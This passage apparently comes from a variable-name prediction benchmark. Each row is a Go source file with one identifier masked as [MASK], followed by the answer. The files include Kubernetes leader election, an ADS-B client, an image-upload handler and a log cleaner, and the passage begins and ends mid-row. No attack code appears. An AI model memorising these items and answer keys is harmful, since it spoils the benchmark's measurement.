[MASK] .WithBucketType(btype). WithBucket(bucket). WithKey(key). Build() if err != nil { ErrExit(err) } if err := cluster.Execute(cmd); err != nil { ErrExit(err) } fvc := cmd.(*riak.FetchValueCommand) rsp := fvc.Response if rsp.IsNotFound { return C.CString("""") } if len(rsp.Values) == 0 { return C.CString("""") } object := rsp.Values[0] return C.CString(string(object.Value)) } func main() { } ",builder 64,"package converter import ( ""reflect"" ""unsafe"" ) // sizeOf computes the size of a type using reflection. // // TODO(bga): Change this if we are ever allowed to use unsafe.Sizeof with // generic types. func sizeOf[T any](t T) uintptr { return reflect.TypeOf(t).Size() } // convertSlice does a completelly unsafe conversion assuming that any // validation has already been done. func convertSlice[T1, T2 any](src []T1, dstCap, dstLen int) []T2 { var dst []T2 // Adjust destination slice header. hs := (*reflect.SliceHeader)(unsafe.Pointer(&dst)) hs.Data = uintptr(unsafe.Pointer(&src[0])) hs.Len = dstLen hs.Cap = dstCap return dst } // Convert does an in-place conversion of a slice of type T1 to a slice of type // T2. The source and destination slices are validated before the conversion is // done and, in case of issues, the code will panic. func Convert[T1, T2 any](src []T1) []T2 { srcTypeSize := sizeOf(src[0]) var dstTypeVar T2 [MASK] := sizeOf(dstTypeVar) srcCapInBytes := srcTypeSize * uintptr(cap(src)) srcLenInBytes := srcTypeSize * uintptr(len(src)) if srcCapInBytes% [MASK] != 0 { panic(""Convert: src cap in bytes must be a multiple of the ""+ ""dst type size"") } if srcLenInBytes% [MASK] != 0 { panic(""Convert: src len in bytes must be a multiple of the ""+ ""dst type size"") } dstCap := srcCapInBytes / [MASK] dstLen := srcLenInBytes / [MASK] return convertSlice[T1, T2](src, int(dstCap), int(dstLen)) } ",dstTypeSize 65,"/* Copyright © 2020-2025 Dell Inc. or its subsidiaries. All Rights Reserved. Licensed under the Apache License, Version 2.0 (the ""License""); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an ""AS IS"" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package k8sutils import ( ""context"" ""fmt"" ""os"" ""time"" ""github.com/kubernetes-csi/csi-lib-utils/leaderelection"" log ""github.com/sirupsen/logrus"" ""k8s.io/client-go/kubernetes"" ""k8s.io/client-go/rest"" ""k8s.io/client-go/tools/clientcmd"" ) var ( buildConfigFromFlags = clientcmd.BuildConfigFromFlags newForConfig = kubernetes.NewForConfig inClusterConfig = rest.InClusterConfig ) // leaderElection interface type leaderElection interface { Run() error WithNamespace(namespace string) } // ExitFunc is a variable that holds the os.Exit function var ExitFunc = os.Exit // RunLeaderElection runs the leader election and handles errors func RunLeaderElection(le leaderElection) { if err := le.Run(); err != nil { _, _ = fmt.Fprintf(os.Stderr, ""failed to initialize leader election: %v"", err) ExitFunc(1) } } // CreateKubeClientSet - Returns kubeclient set func CreateKubeClientSet(kubeconfig string) (*kubernetes.Clientset, error) { var clientset *kubernetes.Clientset if kubeconfig != """" { // use the current context in kubeconfig config, err := clientcmd.BuildConfigFromFlags("""", kubeconfig) if err != nil { return nil, err } // create the clientset clientset, err = kubernetes.NewForConfig(config) if err != nil { return nil, err } } else { config, err := rest.InClusterConfig() if err != nil { return nil, err } // creates the clientset clientset, err = kubernetes.NewForConfig(config) if err != nil { return nil, err } } return clientset, nil } // LeaderElection - Initialize leader selection func LeaderElection(clientset *kubernetes.Clientset, lockName string, namespace string, leaderElectionRenewDeadline, [MASK] , leaderElectionRetryPeriod time.Duration, runFunc func(ctx context.Context), ) { log.Info(""Starting leader election setup..."") le := leaderelection.NewLeaderElection(clientset, lockName, runFunc) log.Infof(""Leader election created with lock name: %s"", lockName) le.WithNamespace(namespace) log.Infof(""Namespace set to: %s"", namespace) le.WithLeaseDuration( [MASK] ) log.Infof(""Lease duration set to: %v"", [MASK] ) le.WithRenewDeadline(leaderElectionRenewDeadline) log.Infof(""Renew deadline set to: %v"", leaderElectionRenewDeadline) le.WithRetryPeriod(leaderElectionRetryPeriod) log.Infof(""Retry period set to: %v"", leaderElectionRetryPeriod) log.Info(""Running leader election..."") RunLeaderElection(le) log.Info(""Leader election completed."") } ",leaderElectionLeaseDuration 66,"package aex import ( ""encoding/json"" ""fmt"" ""net/http"" ""net/url"" ""regexp"" ""time"" ""github.com/skypies/adsb"" ""github.com/skypies/geo"" ""github.com/skypies/pi/airspace"" fdb ""github.com/skypies/flightdb"" ) type AdsbExchange struct { Client *http.Client } // {{{ args2url func (aex AdsbExchange)args2url(args map[string]string) string { urlStem := ""https://public-api.adsbexchange.com/VirtualRadar/AircraftList.json"" postArgs := url.Values{} for k,v := range args { postArgs.Set(k,v) } return urlStem+""?""+postArgs.Encode() } // }}} // {{{ UrlToResp func (aex AdsbExchange)UrlToResp(url string) (*http.Response, error) { if req, err := http.NewRequest(""GET"", url, nil); err != nil { return nil,err } else if resp, err := aex.Client.Do(req); err != nil { return nil,err } else { return resp, nil } } // }}} // {{{ LiveQuery // https://public-api.adsbexchange.com/VirtualRadar/AircraftList.json?fDstL=0&fDstU=1770&lat=37.618817&lng=-122.375428 func (aex AdsbExchange)LiveQuery(box geo.LatlongBox) ([]AExAircraft, error) { args := map[string]string{ ""lat"": fmt.Sprintf(""%.6f"", box.Center().Lat), ""lng"": fmt.Sprintf(""%.6f"", box.Center().Long), ""fDstL"": ""0"", ""fDstU"": fmt.Sprintf(""%.0f"", box.NE.DistKM(box.SW) / 2.0), // search radius; half the box diagonal. } url := aex.args2url(args) lqResponse := LiveQueryResponse{} resp,err := aex.UrlToResp(url) if err != nil { return nil, fmt.Errorf(""AEx/LQ error:%v"", err) } if err := json.NewDecoder(resp.Body).Decode(&lqResponse); err != nil { return nil, fmt.Errorf(""AEx/Decode error:%v"", err) } return lqResponse.Aircraft, nil } // }}} // {{{ ToAircraftData // ""KSFO San Francisco, United States"" --> ""SFO"" func toIcaoAirport(in string) string { subs := regexp.MustCompile(""^K([A-Z]{3})\\s"").FindStringSubmatch(in) if len(subs) == 2 { return subs[1] } return """" } func ToAircraftData (in AExAircraft) airspace.AircraftData { // Timestamp is a float Unix epoch millis tSecs := int64(in.PosTime / 1000.0) //tMillis := int64(math.Mod(in.PosTime, 1000.0)) callsign := fdb.NewCallsign(in.Call) msg := adsb.CompositeMsg{ Msg: adsb.Msg{ Type: ""MSG"", // Default; ADSB. Icao24: adsb.IcaoId(in.Icao), GeneratedTimestampUTC: time.Unix(tSecs, 0).UTC(), Callsign: callsign.String(), Altitude: int64(in.Alt), // NOTE - GAlt !! GroundSpeed: int64(in.Spd), VerticalRate: int64(in.Vsi), Track: int64(in.Trak), Position: geo.Latlong{ Lat:in.Lat, Long:in.Long, }, }, ReceiverName: fmt.Sprintf(""%.0f"", in.Rcvr), } if in.Mlat { msg.Type = ""MLAT"" } airframe := fdb.Airframe{ Icao24: in.Icao, Registration: in.Reg, EquipmentType: in.Type, } // This is actually busted; it's for entire segments. Intermediate airports (such as, SFO) // are stashed in []in.Stops. It's not clear how to decide which leg is underway. Luckily, // we just overwrite all this from the schedule cache. schedule := fdb.Schedule{ Origin: toIcaoAirport(in.From), Destination: toIcaoAirport(in.To), } if callsign.CallsignType == fdb.IcaoFlightNumber { airframe.CallsignPrefix = callsign.IcaoPrefix schedule.ICAO = callsign.IcaoPrefix // also in.OpIcao schedule.Number = callsign.Number } return airspace.AircraftData{ Msg: &msg, Airframe: airframe, Schedule: schedule, NumMessagesSeen: 1, Source: ""AdsbExchange"", } } // }}} // {{{ db.FetchAirspace, FetchAirspace func FetchAirspace(client *http.Client, box geo.LatlongBox) (*airspace.Airspace, error) { aex := AdsbExchange{client} return aex.FetchAirspace(box) } func (aex AdsbExchange)FetchAirspace(box geo.LatlongBox) (*airspace.Airspace, error) { as := airspace.NewAirspace() ac,err := aex.LiveQuery(box) if err != nil { return nil,err } [MASK] := map[string]int{} for _,a := range ac { // Fake up keys if needed, and prefix them. key := a.Icao if key == """" { // E.g. BC7[HWD:FUK]. Comes via fr24/T-F5M, so no IcaoID. Callsign is often equip type :/ [MASK] [a.Call]++ key = fmt.Sprintf(""X%s%02d"", a.Call, [MASK] [a.Call]) } key = ""QQ""+key // Prefix, to avoid collisions as.Aircraft[adsb.IcaoId(key)] = ToAircraftData(a) } return &as,nil } // }}} // {{{ -------------------------={ E N D }=---------------------------------- // Local variables: // folded-file: t // end: // }}} ",counts 67,"/** * Created by GoLand. * User: 平凡 * Date: 2024/1/7 * Time: 16:03 * Remark: 上传单个图片 */ package images_api import ( ""admin/global"" ""admin/models"" ""admin/models/res"" ""admin/utils"" ""fmt"" ""github.com/gin-gonic/gin"" ""io"" ""io/fs"" ""os"" ""path"" ""strings"" ) var ( // WhiteImageList 图片上传的白名单 WhiteImageList = []string{ ""jpg"", ""png"", ""jpeg"", ""ico"", ""tiff"", ""gif"", ""svg"", ""webp"", } ) type FileUploadResponse struct { FileName string `json:""file_name""` // 文件名 IsSuccess bool `json:""is_success""` // 是否上传成功 Msg string `json:""msg""` // 消息 } // ImageUploadView 上传多个图片,返回图片的url func (ImagesApi) ImageUploadView(c *gin.Context) { // 上传多个图片 form, [MASK] := c.MultipartForm() if [MASK] != nil { res.FailWithMessage( [MASK] .Error(), c) return } fileList, ok := form.File[""images""] if !ok { res.FailWithMessage(""不存在的文件"", c) return } // 判断路径是否存在 //pathList,ok := path.Split(global.Config.Upload.Path,""/"") basePath := global.Config.Upload.Path _, [MASK] = os.ReadDir(basePath) if [MASK] != nil { // 递归创建 [MASK] = os.MkdirAll(basePath, fs.ModePerm) if [MASK] != nil { global.Log.Error( [MASK] ) } } // 不存在就创建 var resList []FileUploadResponse for _, file := range fileList { fileName := file.Filename nameList := strings.Split(fileName, ""."") suffix := strings.ToLower(nameList[len(nameList)-1]) if !utils.InList(suffix, WhiteImageList) { resList = append(resList, FileUploadResponse{ FileName: file.Filename, IsSuccess: false, Msg: ""非法文件"", }) continue } filePath := path.Join(basePath, file.Filename) // 判断大小 size := float64(file.Size) / float64(1024*1024) if size >= float64(global.Config.Upload.Size) { resList = append(resList, FileUploadResponse{ FileName: file.Filename, IsSuccess: false, Msg: fmt.Sprintf(""图片大小超过设定大小,当前大小为:%.2fMB,设定大小为: %dMb"", size, global.Config.Upload.Size), }) continue } fileObj, [MASK] := file.Open() if [MASK] != nil { global.Log.Error( [MASK] ) } byteData, [MASK] := io.ReadAll(fileObj) imageHash := utils.Md5(byteData) // 去数据库中查这个图片是否存在 var bannerModel models.BannerModel [MASK] = global.DB.Take(&bannerModel, ""hash = ?"", imageHash).Error if [MASK] == nil { // 找到了 resList = append(resList, FileUploadResponse{ FileName: bannerModel.Path, IsSuccess: false, Msg: ""图片已存在"", }) continue } [MASK] = c.SaveUploadedFile(file, filePath) if [MASK] != nil { global.Log.Error( [MASK] ) resList = append(resList, FileUploadResponse{ FileName: file.Filename, IsSuccess: false, Msg: [MASK] .Error(), }) continue } resList = append(resList, FileUploadResponse{ FileName: filePath, IsSuccess: true, Msg: ""上传成功"", }) // 图片入库 global.DB.Create(&models.BannerModel{ Path: filePath, Hash: imageHash, Name: fileName, }) } res.OkWithData(resList, c) } ",err 68,"/******************************************************************************* * Copyright 2021 Dell Inc. * * Licensed under the Apache License, Version 2.0 (the ""License""); you may not use this file except * in compliance with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software distributed under the License * is distributed on an ""AS IS"" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express * or implied. See the License for the specific language governing permissions and limitations under * the License. *******************************************************************************/ package main import ( ""context"" ""flag"" logConfig ""github.com/project-alvarium/provider-logging/pkg/config"" logFactory ""github.com/project-alvarium/provider-logging/pkg/factories"" ""github.com/project-alvarium/provider-logging/pkg/logging"" ""github.com/project-alvarium/stream-subscriber/internal/bootstrap"" ""github.com/project-alvarium/stream-subscriber/internal/config"" ""github.com/project-alvarium/stream-subscriber/internal/handlers"" ""os"" ) func main() { // Load config var [MASK] string flag.StringVar(& [MASK] , ""cfg"", ""./res/config.json"", ""Path to JSON configuration file."") flag.Parse() fileFormat := config.GetFileExtension( [MASK] ) reader, err := config.NewReader(fileFormat) if err != nil { tmpLog := logFactory.NewLogger(logConfig.LoggingInfo{MinLogLevel: logging.ErrorLevel}) tmpLog.Error(err.Error()) os.Exit(1) } cfg := config.ApplicationConfig{} err = reader.Read( [MASK] , &cfg) if err != nil { tmpLog := logFactory.NewLogger(logConfig.LoggingInfo{MinLogLevel: logging.ErrorLevel}) tmpLog.Error(err.Error()) os.Exit(1) } logger := logFactory.NewLogger(cfg.Logging) logger.Write(logging.DebugLevel, ""config loaded successfully"") logger.Write(logging.DebugLevel, cfg.AsString()) sub := handlers.NewSubscription(cfg, logger, cfg.Key) ctx, cancel := context.WithCancel(context.Background()) bootstrap.Run( ctx, cancel, cfg, []bootstrap.BootstrapHandler{ sub.BootstrapHandler, }) } ",configPath 69,"package processagent import ( ""context"" ) // InputPort represents a point of entry of the incoming requests to be processed. // An input port may be for example an HTTP listener, WebSocket server or AMQP // topic or queue. // An incoming message (HTTP request, message over WebSocker or consumed from // AMQP queue) is consumed from the appropriate port, then parsed. A Response // object is generated and the incoming Request together with the generated // Response and Context are processed by the middlewares registered in this // input port. type InputPort interface { // AddMiddleware adds a middleware to the list of middlewares for this port. // Every request (message) is processed by all middlewares registered in the // chain for this port. AddMiddleware(middleware Middleware) // Close shuts down this port. // This operation is synchronous - waits for process of port shutdown to // complete. If this fails, it returns an error. Close() error } // MiddlewareInputPort holds a list of middlewares comprising the chain for this // port. // It implements the basic middleware chain management and is intended to be // embedded in a specific implementations of the InputPort interface. // It offers a special method for triggering the execution of all middlewares in // the chain, called ExecuteMiddlewares. type MiddlewareInputPort struct { middlewares []Middleware } // AddMiddleware adds a Middleware to this endpoint. func (m *MiddlewareInputPort) AddMiddleware(middleware Middleware) { m.middlewares = append(m.middlewares, middleware) } // Close shuts down the input port. This implementation does nothing. func (m *MiddlewareInputPort) Close() error { return nil } // ExecuteMiddlewares executes the middleware chain with the given context, Request and Response. // If any of the middlewares in the chain produces an error, the chain is broken and the error is // returned. func (m *MiddlewareInputPort) ExecuteMiddlewares(ctx context.Context, req *Request, [MASK] *Response) error { for _, middleware := range m.middlewares { if err := middleware(ctx, req, [MASK] ); err != nil { return err } } return nil } // NewMiddlewarePort creates new MiddlewareInputPort and initializes the middleware chain. func NewMiddlewarePort() *MiddlewareInputPort { return &MiddlewareInputPort{ middlewares: []Middleware{}, } } ",resp 70,"/* * Copyright(c) 2022 Intel Corporation. * Licensed under the Apache License, Version 2.0 (the ""License""); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an ""AS IS"" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package main import ( ""flag"" ""fmt"" ""io"" ""os"" ""os/signal"" ""syscall"" ""github.com/intel/afxdp-plugins-for-kubernetes/constants"" ""github.com/intel/afxdp-plugins-for-kubernetes/internal/deviceplugin"" ""github.com/intel/afxdp-plugins-for-kubernetes/internal/dpcnisyncerserver"" ""github.com/intel/afxdp-plugins-for-kubernetes/internal/host"" ""github.com/intel/afxdp-plugins-for-kubernetes/internal/logformats"" ""github.com/intel/afxdp-plugins-for-kubernetes/internal/networking"" ""github.com/intel/afxdp-plugins-for-kubernetes/internal/tools"" logging ""github.com/sirupsen/logrus"" ) var ( hostHandler = host.NewHandler() netHandler = networking.NewHandler() deviceFile = constants.DeviceFile.Directory + constants.DeviceFile.Name ) type devicePlugin struct { pools map[string]deviceplugin.PoolManager } func main() { var configFile string flag.StringVar(&configFile, ""config"", constants.Plugins.DevicePlugin.DefaultConfigFile, ""Location of the device plugin configuration file"") flag.Parse() logging.SetReportCaller(true) logging.SetFormatter(logformats.Default) // overall config cfg, err := deviceplugin.GetPluginConfig(configFile) if err != nil { logging.Errorf(""Error getting device plugin config: %v"", err) exit(constants.Plugins.DevicePlugin.ExitConfigError) } // logging if err := configureLogging(cfg); err != nil { logging.Errorf(""Error configuring logging: %v"", err) exit(constants.Plugins.DevicePlugin.ExitLogError) } // configure a set of veths and a bridge as a secondary kind network. if cfg.KindCluster { if err := configureKindSecondaryNetwork(); err != nil { logging.Errorf(""Error configuring Kind Secondary Network: %v"", err) exit(constants.Plugins.DevicePlugin.ExitKindError) } } //device file exists, err := tools.FilePathExists(deviceFile) if err != nil { logging.Errorf(""Error checking device file path: %v"", err) } if exists { if err = os.Remove(deviceFile); err != nil { logging.Errorf(""Error deleting device file: %v"", err) } } logging.Infof(""Starting AF_XDP Device Plugin"") // host requirements logging.Infof(""Checking if host meets requirements"") hostMeetsRequirements, err := checkHost(hostHandler) if err != nil { logging.Errorf(""Error checking host: %v"", err) exit(constants.Plugins.DevicePlugin.ExitHostError) } if !hostMeetsRequirements { logging.Infof(""Host does not meet requirements"") exit(constants.Plugins.DevicePlugin.ExitNormal) } logging.Infof(""Host meets requirements"") //Start the syncer server dpCniSyncerServer, err := dpcnisyncerserver.NewSyncerServer() if err != nil { logging.Errorf(""Error creating the DpCniSyncerServer"") } logging.Debugf(""DP<=>CNI grpc Syncer started"") // pool configs logging.Infof(""Getting device pools"") poolConfigs, err := deviceplugin.GetPoolConfigs(configFile, netHandler, hostHandler, dpCniSyncerServer) if err != nil { logging.Warningf(""Error getting device pools: %v"", err) exit(constants.Plugins.DevicePlugin.ExitPoolError) } logging.Infof(""Found %d poolConfigs"", len(poolConfigs)) dp := devicePlugin{ pools: make(map[string]deviceplugin.PoolManager), } if cfg.KindCluster && len(poolConfigs) > 1 { logging.Errorf(""Too many pools for kind configuration"") exit(constants.Plugins.DevicePlugin.ExitKindError) } for _, poolConfig := range poolConfigs { poolManager := deviceplugin.NewPoolManager(poolConfig) if err := poolManager.Init(poolConfig); err != nil { logging.Errorf(""Error initializing pool %v: %v"", poolManager.Name, err) continue } dp.pools[poolConfig.Name] = poolManager } sigs := make(chan os.Signal, 1) signal.Notify(sigs, syscall.SIGHUP, syscall.SIGINT, syscall.SIGTERM, syscall.SIGQUIT) s := <-sigs logging.Infof(""Received signal \""%v\"""", s) for _, pm := range dp.pools { logging.Infof(""Terminating %v"", pm.Name) if err := pm.Terminate(); err != nil { logging.Errorf(""Termination error: %v"", err) } } } func configureLogging(cfg deviceplugin.PluginConfig) error { var ( logDir = constants.Logging.Directory logDirPerm = os.FileMode(constants.Logging.DirectoryPermissions) logFile = cfg.LogFile logFilePerm = os.FileMode(constants.Logging.FilePermissions) logLevel = cfg.LogLevel ) if logFile != """" { logging.Infof(""Setting log directory: %s"", logDir) err := os.MkdirAll(logDir, logDirPerm) if err != nil { logging.Errorf(""Error setting log directory: %v"", err) return err } logging.Infof(""Setting log file: %s"", logFile) fp, err := os.OpenFile(logDir+logFile, os.O_WRONLY|os.O_CREATE|os.O_APPEND, logFilePerm) if err != nil { logging.Errorf(""Error setting log file: %v"", err) return err } logging.SetOutput(io.MultiWriter(fp, os.Stdout)) } if logLevel != """" { logging.Infof(""Setting log level: %s"", logLevel) level, err := logging.ParseLevel(logLevel) if err != nil { logging.Errorf(""Error setting log level: %v"", err) return err } logging.SetLevel(level) if logLevel == ""debug"" { logging.Infof(""Switching to debug log format"") logging.SetFormatter(logformats.Debug) } } return nil } // On each Kind node // Create a bridge afxdp-kind-br // Create 4 vethpairs starting at veth6 // // +===============+ // | afxdp-kind-br | // | +---------| +---------+ // | | veth7 | <=====> | veth6 | // | +---------| +---------+ // | +---------| +---------+ // | | veth9 | <=====> | veth8 | // | +---------| +---------+ // | +---------| +---------+ // | | veth11 | <=====> | veth10 | // | +---------| +---------+ // | +---------| +---------+ // | | veth13 | <=====> | veth12 | // | +---------| +---------+ // +===============+ // // The ""even"" veth of the pair will be added to the device plugin resource pool. // and plumbed to the Pod. func configureKindSecondaryNetwork() error { numVeths := 4 offset := 6 err := networking.CreateKindNetwork(numVeths, offset) if err != nil { logging.Errorf(""Error Creating CreateKindNetwork %s"", err.Error()) return err } logging.Infof(""Created CreateKindNetwork"") return nil } func checkHost(host host.Handler) (bool, error) { // kernel logging.Debugf(""Checking kernel version"") linuxVersion, err := host.KernelVersion() if err != nil { err := fmt.Errorf(""error checking kernel version: %v"", err) return false, err } linuxInt, err := tools.KernelVersionInt(linuxVersion) if err != nil { err := fmt.Errorf(""error converting actual kernel version to int: %v"", err) return false, err } minLinuxInt, err := tools.KernelVersionInt(constants.Afxdp.MinumumKernel) if err != nil { err := fmt.Errorf(""error converting minimum kernel version to int: %v"", err) return false, err } if linuxInt < minLinuxInt { logging.Warningf(""Kernel version %v is below minimum requirement %v"", linuxVersion, constants.Afxdp.MinumumKernel) return false, nil } logging.Debugf(""Kernel version: %v meets minimum requirements"", linuxVersion) // libbpf logging.Debugf(""Checking host for Libbpf"") bpfInstalled, libs, err := host.HasLibxdp() if err != nil { err := fmt.Errorf(""libbpf not found on host"") return false, err } if bpfInstalled { logging.Debugf(""Libbpf found on host:"") for _, lib := range libs { logging.Debugf(""\t"" + lib) } } else { logging.Warningf(""Libbpf not found on host"") return false, nil } return true, nil } func exit( [MASK] int) { if [MASK] == 0 { logging.Infof(""Device plugin will exit"") } else { logging.Errorf(""Device plugin will exit"") } os.Exit( [MASK] ) } ",code 71,"package main import ( ""flag"" ""fmt"" metav1 ""k8s.io/apimachinery/pkg/apis/meta/v1"" ""k8s.io/apimachinery/pkg/util/wait"" ""k8s.io/client-go/tools/cache"" ""time"" ""github.com/golang/glog"" ""k8s.io/client-go/tools/clientcmd"" ""github.com/bingerambo/crd-code-generation/cmd/nodecache/sdhedulerCache"" ncver ""github.com/bingerambo/crd-code-generation/pkg/nodecache_client/clientset/versioned"" ncinfo ""github.com/bingerambo/crd-code-generation/pkg/nodecache_client/informers/externalversions"" ) var ( kuberconfig = flag.String(""kubeconfig"", """", ""Path to a kubeconfig. Only required if out-of-cluster."") master = flag.String(""master"", """", ""The address of the Kubernetes API server. Overrides any value in kubeconfig. Only required if out-of-cluster."") ) func main() { flag.Parse() kuberconfig := ""D:\\GO_projects\\src\\github.com\\openshift-evangelists\\crd-code-generation\\cmd\\nodecache\\config"" //nodecaecheClientSet(kuberconfig) //fmt.Println() //fmt.Println() //fmt.Println() //fmt.Println() //fmt.Println() nodecacheInformer(kuberconfig) // block main process stopCh := make(chan struct{}) for { select { case <-stopCh: return default: } } } func nodecaecheClientSet(kuberconfig string) { cfg, err := clientcmd.BuildConfigFromFlags(*master, kuberconfig) if err != nil { glog.Fatalf(""Error building kubeconfig: %v"", err) } //exampleClient, err := examplecomclientset.NewForConfig(cfg) [MASK] , err := ncver.NewForConfig(cfg) if err != nil { glog.Fatalf(""Error building nodecache clientset: %v"", err) } //list, err := exampleClient.ExampleV1().Databases(""default"").List(metav1.ListOptions{}) list, err := [MASK] .InspurV1().NodeCaches("""").List(metav1.ListOptions{}) if err != nil { glog.Fatalf(""Error listing all databases: %v"", err) } for _, nodecache := range list.Items { fmt.Printf(""nodecache %s with datasets: %q\n"", nodecache.Name, nodecache.Spec.Datasets) fmt.Printf(""nodecache %s with freesize: %d\n"", nodecache.Name, nodecache.Spec.FreeSize) fmt.Printf(""nodecache %s with allocatablesize: %d\n"", nodecache.Name, nodecache.Spec.AllocatableSize) } } func nodecacheInformer(kuberconfig string) { cfg, err := clientcmd.BuildConfigFromFlags(*master, kuberconfig) if err != nil { glog.Fatalf(""Error building kubeconfig: %v"", err) } var ncclient *ncver.Clientset ncclient, err = ncver.NewForConfig(cfg) if err != nil { glog.Fatalf(""Error building nodecache clientset: %v"", err) } gsc := sdhedulerCache.GSchedulerCache ncinformer := ncinfo.NewSharedInformerFactory(ncclient, 0) // create informer for NodeCaches(v1) information //ncInformerv1 := ncinformer.Inspur().V1().NodeCaches() //ncInformerv1.Informer().AddEventHandler(cache.ResourceEventHandlerFuncs{ // AddFunc: gsc.AddNodeCacheV1, // //UpdateFunc: UpdatePodGroupAlpha1, // //DeleteFunc: DeletePodGroupAlpha1, //}) gsc.NCInformerv1 = ncinformer.Inspur().V1().NodeCaches() gsc.NCInformerv1.Informer().AddEventHandler(cache.ResourceEventHandlerFuncs{ AddFunc: gsc.AddNodeCacheV1, UpdateFunc: gsc.UpdateNodeCacheV1, DeleteFunc: gsc.DeleteNodeCacheV1, }) stopCh := make(chan struct{}) // .0 start up mem cache lister... go wait.Until(func() { mc := gsc.MC fmt.Println() fmt.Println() fmt.Println() fmt.Println(""#######################################################"") fmt.Println(""mem cache lister..."") for index := 1; index <= 3; index++ { x, found := mc.Get(fmt.Sprintf(""node%d"", index)) if !found { fmt.Printf(""*NcItem Struct was not found for node%d\n"",index) continue } fmt.Printf(""setMemCache: %++v \n"", x.(*sdhedulerCache.NcItem)) } fmt.Println(""#######################################################"") }, 5*time.Second, stopCh) // .1 start all informer, list & watch go gsc.Run(stopCh) // .2 sync resources from apiserver by list... gsc.WaitForCacheSync(stopCh) } ",nodecacheclientset 72,"package api import ( ""github.com/busragumusel/insider-case/internal/handler"" ""github.com/busragumusel/insider-case/internal/service"" ""github.com/go-chi/chi/v5"" ""github.com/go-redis/redis/v8"" ""gorm.io/gorm"" ) type API struct { db *gorm.DB redisClient *redis.Client messageService *service.MessageService } func NewAPI( db *gorm.DB, redisClient *redis.Client, messageService *service.MessageService, ) *API { return &API{ db: db, redisClient: redisClient, messageService: messageService, } } func (r *API) RegisterRoutes( [MASK] *chi.Mux) { messageHandler := handler.NewMessageHandler(r.messageService) [MASK] .Get(""/start"", messageHandler.StartProcess) [MASK] .Get(""/stop"", messageHandler.StopProcess) [MASK] .Get(""/messages"", messageHandler.Retrieve) } ",router 73,"package main import ( ""errors"" ""fmt"" ""github.com/crosseyed/versionbump/internal"" ""github.com/crosseyed/versionbump/pkg/versionbump"" ""os"" ) var App = internal.AppHelper{} func main() { // Inject into internal internal.App = App opts, err := internal.Args(os.Args[1:], nil, Version) App.Errors(err, func(err error) { // Should never get here panic(err) }) [MASK] := run(opts) App.Exit( [MASK] ) } func run(conf *internal.CliOps) int { var ex int switch { case (conf.Major || conf.Minor || conf.Patch): ex = runBump(conf) case conf.List: ex = runList(conf) default: panic(errors.New(""Unhandled option"")) } return ex } func runBump(conf *internal.CliOps) int { bump, _ := versionbump.NewBumpFile(conf.File) var atomBump int switch { case conf.Major: atomBump = versionbump.MAJOR case conf.Minor: atomBump = versionbump.MINOR case conf.Patch: atomBump = versionbump.PATCH } if conf.Checktags { hasTags(bump.Version()) } _ = bump.BumpVersion(atomBump) return 0 } func hasTags(ver string) { path, err := os.Getwd() App.Errors(err, errPanic) git := internal.PlainOpen(path) for _, t := range git.ListTags() { if t == ver { return } if t == ""v""+ver { return } } _, err = fmt.Fprintf(os.Stderr, ""Git tag %s not found. Bump tag of \""%s\"" aborted\n"", ver, path) // nolint App.Errors(err, errPanic) App.Exit(-1) } func runList(conf *internal.CliOps) int { bump, _ := versionbump.NewBumpFile(conf.File) fmt.Println(bump.Version()) return 0 } // Error handlers func errPanic(err error) { panic(err) } ",exit 74,"package dailyLogger import ( ""io/ioutil"" ""log"" ""os"" ""path/filepath"" ""strings"" ""time"" ) func NewDelete(logsDir string, [MASK] int, logger *log.Logger) { logsDir = filepath.Base(logsDir) timeLong := time.Hour * 24 * time.Duration( [MASK] ) delLogsDir(logsDir, timeLong, logger) go func(dir string, timeLong time.Duration) { for { intervalTime := 24*60*60 - time.Now().Hour()*60*60 - time.Now().Minute()*60 - time.Now().Second() <-time.NewTimer(time.Duration(intervalTime) * time.Second).C delLogsDir(dir, timeLong, logger) } }(logsDir, timeLong) } func delLogsDir(logsDir string, timeLong time.Duration, logger *log.Logger) { //logger.Printf(""dir=%s\n"", dir) dirList, e := ioutil.ReadDir(logsDir) if e != nil { return } for _, fileInfo := range dirList { fileName := fileInfo.Name() filePath := filepath.Join(logsDir, fileName) //logger.Printf(""%s\r\n"", filePath) if fileInfo.IsDir() { delLogsDir(filePath, timeLong, logger) } else { //logger.Printf(""文件-> %s\r\n"", filePath) //strings.LastIndex(fileName, "".log"") == len(fileName)-len("".log"") if strings.HasSuffix(fileName,"".log"") { if fileInfo.ModTime().Before(time.Now().Add(-timeLong)) { os.Remove(filePath) if logger !=nil { logger.Printf(""delete old logs file %s\n"", filePath) } } } } } } ",days 75,"package contracts import ( ""math/big"" ""github.com/ethereum/go-ethereum/common"" ""github.com/ethereum/go-ethereum/core/types"" ""github.com/rs/zerolog"" ""github.com/smartcontractkit/chainlink-testing-framework/blockchain"" le ""github.com/smartcontractkit/chainlink/v2/core/gethwrappers/generated/log_emitter"" ) type LegacyLogEmitterContract struct { address common.Address client blockchain.EVMClient instance *le.LogEmitter l zerolog.Logger } func (e *LegacyLogEmitterContract) Address() common.Address { return e.address } func (e *LegacyLogEmitterContract) EmitLogInts(ints []int) (*types.Transaction, error) { opts, err := e.client.TransactionOpts(e.client.GetDefaultWallet()) if err != nil { return nil, err } bigInts := make([]*big.Int, len(ints)) for i, v := range ints { bigInts[i] = big.NewInt(int64(v)) } tx, err := e.instance.EmitLog1(opts, bigInts) if err != nil { return nil, err } return tx, e.client.ProcessTransaction(tx) } func (e *LegacyLogEmitterContract) EmitLogIntsIndexed(ints []int) (*types.Transaction, error) { opts, err := e.client.TransactionOpts(e.client.GetDefaultWallet()) if err != nil { return nil, err } bigInts := make([]*big.Int, len(ints)) for i, v := range ints { bigInts[i] = big.NewInt(int64(v)) } tx, err := e.instance.EmitLog2(opts, bigInts) if err != nil { return nil, err } return tx, e.client.ProcessTransaction(tx) } func (e 